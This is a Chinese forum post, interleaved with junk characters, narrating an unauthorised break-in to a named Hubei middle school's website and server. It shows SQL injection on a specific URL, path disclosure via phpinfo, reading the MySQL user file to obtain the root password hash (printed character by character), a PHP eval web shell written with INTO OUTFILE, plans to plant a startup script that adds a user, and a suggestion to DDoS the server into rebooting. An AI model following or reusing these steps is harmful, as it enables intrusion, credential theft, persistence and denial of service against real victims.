友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！

' p6 Z" Q' y* @# A2 x

常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
9 v# h+ q7 z  X' x% k: l0 P
1 h7 w# F" W) p$ N那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

& E. I% D% o0 G0 L. K7 M试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
* ~! R# W6 H& n% F/ b  h3./load_file()  
+ b# V; O( U0 s$ H$ [! A2 `1 Q# a7 M4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
; ?/ v* ~+ k6 Q* K# R5 }6./phpmyadmin/libraries/lect_lang.lib.php  
6 N+ n* z/ e) I; I7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  

均不行...........................

御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
0 [  b: k& d  F+ }
0 J% w# U- d: x1 M! S权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
# k) Y: t, C4 C6 P" K: c
默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

( g' P* K$ v. B. X2 H想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
3 Q4 b' ^2 O' O1 k' H) ]
http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
9 n" K  J  [3 {" s/ @7 l
自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

) k; h6 P1 D- x$ y0 u1 n成功读到root密码：
, U1 Q' y" u. u$ k& W2 h* v2 |4 ~
17---- r(0072)
18---- o(006f)
19---- o(006f)
20---- t(0074)
21---- *(002a)
% X( i$ L$ F# g8 z22---- 8(0038)
23---- 2(0032)
+ ~. z! h& i+ {, i" f24---- E(0045)
- j3 l2 d" k( x; C0 u8 a25---- 1(0031)
26---- C(0043)
27---- 5(0035)
+ ^6 U& @0 l' @& U5 w2 x; N. E28---- 8(0038)
29---- 2(0032)
30---- 8(0038)
31---- A(0041)
2 n& _+ b1 S. }% W; K! H& R32---- 9(0039)
33---- B(0042)
# g6 h3 i( i9 `8 F6 m* u34---- 5(0035)
7 u) Z4 ?$ F( w5 U, Z35---- 4(0034)
8 R+ ^; D! Q1 B0 v0 D36---- 8(0038)
! z/ S& a) ^  z37---- 6(0036)
38---- 4(0034)
39---- 9(0039)
6 R8 ]7 T5 [- e+ k1 u8 F  r9 \/ Q40---- 1(0031)
41---- 1(0031)
% ?5 }! F+ s6 P+ l42---- 5(0035)
43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
6 ^6 J1 J" J0 V  S9 }+ Q8 F46---- 8(0038)
, L% B2 O" ~4 s47---- F(0046)
7 y# _+ X. a* w7 t8 `% \# T48---- F(0046)
49---- 4(0034)
50---- F(0046)
, I& |$ b+ b! J4 o) w+ D; M51---- 0(0030)
52---- 3(0033)
53---- 2(0032)
54---- A(0041)
55---- 4(0034)
( `* J2 ^# {* z4 y$ X! @56---- A(0041)
57---- B(0042)
- ^, e0 @; H; S58---- *(0044)
59---- *(0035)
% d9 h. B3 K, a: A60---- *(0041)
61---- *0032)
! l; O# t! A- V/ Z3 w% R* M
- u6 x2 Z6 `  J% I% o7 z; K$ V2 u/ S解密后成功登陆phpmyamin
                          

                             

找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
7 k/ r. M/ W  b# |& N
成功执行，拿下shell，菜刀连接：
3 ]0 s4 h1 o  L; J- E# F. r
. y: H* O  a6 m& A服务器不支持asp,aspx,php提权无果...................
" c6 V: a" {. U0 D5 z6 @
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

别名     administrators
- o5 x4 b0 k5 O5 S/ q; Z注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
; t  q, Y* p1 O' @3 k* S3 T+ Xadmin
Administrator
+ U& T5 B1 x# W  V  a% U, xslipper$
$ l+ l# `2 d7 p6 Y2 }% hsqluser
. M8 k) ?4 c3 [2 r, I+ w命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
. S" t+ @5 H; @( c
ddos服务器重启，不然就只能坐等服务器重启了...............................
# C8 |% ?9 H$ o7 o
      

& C; y1 ~" z  E3 z) c4 }5 L

angel